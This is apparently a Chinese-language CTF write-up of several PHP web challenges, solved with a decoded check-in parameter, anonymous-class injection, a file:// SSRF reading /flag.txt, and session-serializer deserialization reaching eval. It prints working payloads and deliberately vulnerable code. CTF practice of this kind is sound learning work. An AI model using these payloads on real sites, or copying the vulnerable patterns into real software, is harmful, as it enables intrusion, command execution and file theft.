来签个到吧~~

<?php
error_reporting(0); 
highlight_file(__FILE__); 
if (!($_REQUEST["\x69\x64"] == base64_encode("\150\x65\156\141\156"))) { goto lklsgyy; } 
echo getenv("\107\132\103\124\106\137\106\114\101\107"); lklsgyy:
if (!($_REQUEST["\x69\x64"] == base64_encode("\150\x65\156\141\156"))) { goto lklsgyy; }
  • \x69\x64 是一个十六进制转义序列,表示字符串 "id"
  • \150\x65\156\141\156 是一个八进制和十六进制转义序列,表示字符串 "henan"
  • base64_encode("\150\x65\156\141\156") 将字符串 "henan" 编码为base64。

代码检查 $_REQUEST 数组中的 id 参数(包括 $_GET$_POST 数据)是否等于 "henan" 的base64编码值。

  • "henan" 的base64编码值是 "aGVuYW4="

如果 id 参数不等于 "aGVuYW4=",代码会跳转到标签 lklsgyy

记得匿名哟~

<?php
highlight_file(__FILE__);
error_reporting(0);
$a = new class {
    function getflag()
    {
        system('cat /flag.txt');
    }
};
unset($a);  //这行代码销毁了变量 $a,因此之前创建的匿名类实例不再可用。
$a = $_GET['class'];
$f = new $a();
$f->getflag();
?>

匿名类的实例化

参考链接:Web2024红明谷CTF初赛个人wp(2/4)

Payload:

?class=class@anonymous%00/var/www/html/index.php:4$0

class@anonymous 是匿名类的名称,固定的

/var/www/html/index.php 是匿名类所在的文件

4 是匿名类在这个文件的第几行

0 是这个匿名类是第几次创建,环境刚创建时是0

搜索一下

SSRF使用file协议即可

<?php
function geturl($url){
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    $output = curl_exec($ch);
    curl_close($ch);
    echo $output;
}

if(isset($_POST['url'])){
    if(preg_match("/flag/i", $_POST['url'])){
        echo "<b>flag在/flag.txt</b>";
    }
    geturl($_POST['url']);

}
else{
    echo "
    <!DOCTYPE html>
    <html>
    <head>
    <meta charset='UTF-8'>
</head>
<body>
<form method='post'>
<input type='text' name='url' placeholder='输入网址'>
<input type='submit' name='submit' placeholder='提交'>
</form>
</body>
    </html>";
}
POST:
url=file:///flag.txt

包简单,一把梭

ThinkPhp一把梭 没看出来ThinkPhp

你知道SESSION吗(session反序列化逃逸)

 <?php
error_reporting(0);
session_start();
class HelloEva{
    private $name;
    function __wakeup(){
        echo "Welcome To Eva Word~";
    }
    function __destruct(){
        eval($this->name);
    }
}
$obj = new HelloEva();
highlight_file(__FILE__);
# Look Look session.php?
?>

session.php

 <?php
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
highlight_file(__FILE__);
$_SESSION['session'] = $_GET['session'];
echo $_SESSION['session'];
?>

ini_set('session.serialize_handler','php_serialize');:设置会话序列化处理器为’php_serialize’,这意味着会话数据将使用PHP的序列化机制进行存储。

Session反序列化

session默认的序列化引擎是php
    
php:存储方式是,键名+竖线+经过serialize()函数序列处理的值
php_binary:存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值
php_serialize(php>5.5.4):存储方式是,经过serialize()函数序列化处理的值

pop:

<?php
error_reporting(0);

class HelloEva{
    private $name = "system('whoami');";
}

$a = new HelloEva();
echo urlencode(serialize($a));

# O%3A8%3A%22HelloEva%22%3A1%3A%7Bs%3A14%3A%22%00HelloEva%00name%22%3Bs%3A17%3A%22system%28%27whoami%27%29%3B%22%3B%7D

前面加个|发送即可

GET: session=|O%3A8%3A%22HelloEva%22%3A1%3A%7Bs%3A14%3A%22%00HelloEva%00name%22%3Bs%3A17%3A%22system%28%27whoami%27%29%3B%22%3B%7D

还有一个easyphp(反序列化绕过__wakeup)和easyjs 环境寄了 没有复现(其实是懒

官方wp